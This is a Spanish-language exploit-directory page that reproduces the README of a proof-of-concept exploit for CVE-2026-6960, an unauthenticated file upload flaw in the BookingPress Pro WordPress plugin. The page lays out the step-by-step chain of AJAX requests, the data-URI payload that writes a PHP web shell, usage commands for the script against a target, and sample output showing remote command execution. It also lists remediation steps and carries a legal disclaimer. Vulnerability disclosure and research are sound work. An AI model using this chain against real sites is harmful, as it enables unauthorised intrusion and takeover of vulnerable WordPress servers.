Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-6960 — Exploit de prueba de concepto para CVE-2026-6960: carga arbitraria de archivos sin autenticación en BookingPress Pro ≤ 5.6. Automatiza una cadena de 3 pasos para cargar un web shell PHP mediante inyección de data URI, logrando ejecución remota de código en sitios WordPress vulnerables. | Kitploit
Herramientas/GitHubGitHub/xxconi/cve-2026-6960
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubxxconi/cve-2026-6960

CVE-2026-6960

Ver Repositorio
1hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Exploit de prueba de concepto para CVE-2026-6960: carga arbitraria de archivos sin autenticación en BookingPress Pro ≤ 5.6. Automatiza una cadena de 3 pasos para cargar un web shell PHP mediante inyección de data URI, logrando ejecución remota de código en sitios WordPress vulnerables.

Compartir

CVE-2026-6960 — BookingPress Pro ≤ 5.6 | Carga Arbitraria de Archivos sin Autenticación

CVE CVSS CWE Auth Version Python

Investigación por: Atomic Edge Severidad: Crítica | CVSS: 9.8 | Autenticación Requerida: Ninguna

⚠️ v2 — Correcciones técnicas aplicadas según los comentarios de la comunidad. Consulte el Registro de cambios para más detalles.


Descripción general

Existe una vulnerabilidad crítica de carga arbitraria de archivos sin autenticación en el plugin de WordPress (versiones ≤ 5.6). El controlador de envío de reservas procesa un valor de campo personalizado de firma como un . El plugin extrae la extensión del archivo de la parte del tipo MIME del URI mediante una expresión regular y la pasa directamente a — sin lista blanca ni lista negra de extensiones. Esto permite a un atacante escribir un shell web PHP en un directorio accesible desde la web y lograr .

BookingPress Pro
bookingpress_book_appointment_booking
URI de datos
file_put_contents()
Ejecución Remota de Código (RCE)
PropiedadDetalle
PluginBookingPress Pro (bookingpress-appointment-booking-pro)
Afectado≤ 5.6
Corregido en5.7
VectorRed / Sin autenticación
Acción AJAXbookingpress_book_appointment_booking
Causa raízExtensión extraída del tipo MIME controlado por el atacante en un URI de datos → file_put_contents() sin lista blanca
CWECWE-434: Restricción inadecuada de carga de archivos con tipo peligroso

Precondiciones

⚠️ Todas las siguientes condiciones deben cumplirse para que el sitio sea explotable:

  • ✅ Un campo personalizado de tipo firma debe estar configurado en el formulario de reserva de BookingPress por el administrador del sitio
  • ✅ Al menos un servicio activo debe existir (para generar un espacio horario válido)
  • ✅ Una página con el widget de formulario de reserva de BookingPress debe ser accesible públicamente

Los sitios que ejecutan ≤ 5.6 sin un campo personalizado de firma configurado no son explotables a través de este vector.


Flujo de ataque

root@kitploit:~
1. GET  /booking-page/
     └─ Extraer _wpnonce del código fuente de la página

2. POST /wp-admin/admin-ajax.php  action=bookingpress_fetch_timeslot_data
     └─ Obtener la clave transitoria del espacio horario del lado del servidor

3. POST /wp-admin/admin-ajax.php  action=bookingpress_pre_booking_verify_details
     └─ Obtener el token de verificación previa a la reserva

4. POST /wp-admin/admin-ajax.php  action=bookingpress_book_appointment_booking
     └─ bookingpress_signature_field = "data:image/php;base64,<shell>"
     └─ El plugin extrae "php" del tipo MIME → file_put_contents("shell.php", ...)

5. GET  /wp-content/uploads/bookingpress/shell.php?cmd=id
     └─ RCE confirmado

Detalle de la causa raíz

La ruta de código vulnerable procesa el valor del campo de firma como un URI de datos:

root@kitploit:~
data:image/{ext};base64,{base64_encoded_content}

BookingPress extrae {ext} del tipo MIME mediante una coincidencia de expresión regular y luego escribe el contenido decodificado en disco usando file_put_contents() con esa extensión añadida al nombre del archivo — no se realiza ninguna verificación de lista blanca. Al proporcionar image/php como tipo MIME, se escribe un archivo .php en el directorio de carga.

Esto es fundamentalmente diferente de una carga de archivo multipart estándar: el payload está incrustado en un campo del cuerpo JSON, no en una parte de carga de archivo.


Requisitos

root@kitploit:~
pip install requests

Uso

root@kitploit:~
# Básico — formulario de reserva en la página de inicio, ID de servicio 1
python3 poc.py -u https://target.com

# Formulario de reserva en una página específica
python3 poc.py -u https://target.com --booking-page /appointments/

# ID de servicio personalizado y nombre de archivo del shell
python3 poc.py -u https://target.com -s 3 -f evil.php

# Omitir la verificación SSL
python3 poc.py -u https://target.com --no-verify

Argumentos

FlagDescripciónPredeterminado
-u, --urlURL de WordPress objetivo(obligatorio)
-bp, --booking-pageRuta de la página que contiene el formulario de BookingPress/
-s, --service-idID de servicio de BookingPress1
-f, --filenameNombre del archivo del shell (la extensión se inyecta en el MIME del URI de datos)shell.php
--no-verifyDeshabilitar la verificación del certificado SSLfalse

Ejemplo de salida

root@kitploit:~
[!] PRECONDICIÓN: Este exploit requiere que un campo personalizado de tipo firma
    esté configurado en el formulario de reserva de BookingPress por el administrador del sitio.

[*] Paso 1/3 — Obteniendo _wpnonce de: https://target.com/appointments/
[+] _wpnonce encontrado: 9f1c3a72bd

[*] Paso 2/3 — Obteniendo la transición del espacio horario...
[+] Transición del espacio horario: bp_ts_a1b2c3d4

[*] Paso 3/3 — Obteniendo el token de verificación previa a la reserva...
[+] Token de verificación: bp_vt_e5f6g7h8

[*] Subiendo shell mediante el método de URI de datos...
[*] Extensión inyectada en el tipo MIME: image/php
[+] Respuesta de carga (HTTP 200): {"success":true,...}

[✓] ¡El shell está VIVO!
    Salida de 'id': uid=33(www-data) gid=33(www-data)

[→] Acceso al shell: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<comando>

Remediación

  1. Valide el tipo MIME del URI de datos contra una lista blanca estricta (image/png, image/jpeg, image/svg+xml) antes de extraer la extensión
  2. Nunca derive una extensión de archivo de una entrada controlada por el atacante — genere un nombre de archivo aleatorio con una extensión segura fija
  3. Use la función nativa de WordPress wp_check_filetype_and_ext() para toda la validación de tipos de archivo
  4. Considere almacenar los archivos de firma fuera de la raíz web para evitar la ejecución directa

→ Actualice a BookingPress Pro 5.7 inmediatamente.


Registro de cambios

v2 (2026-05-23) — Correcciones técnicas

#Problemav1 (incorrecto)v2 (corregido)
1Acción AJAXbookingpress_validate_submitted_booking_formbookingpress_book_appointment_booking
2Método del payloadCarga de archivo multipart con image/pngURI de datos: data:image/{ext};base64,...
3Flujo del exploitPOST directo sin autenticaciónCadena de requisitos previos de 3 pasos (nonce → transición → token)
4PrecondiciónNo documentadaEl campo personalizado de firma debe estar configurado

Aviso legal

Este repositorio está destinado solo a investigación de seguridad autorizada y fines educativos. No utilice esta herramienta contra ningún sistema sin permiso explícito por escrito del propietario del sistema. El uso no autorizado puede violar la CFAA (EE. UU.), el Código Penal s.342.1 (Canadá), la Directiva NIS2 de la UE y otras leyes aplicables. Los autores no aceptan ninguna responsabilidad por el mal uso o los daños derivados de este código.

Descargar herramienta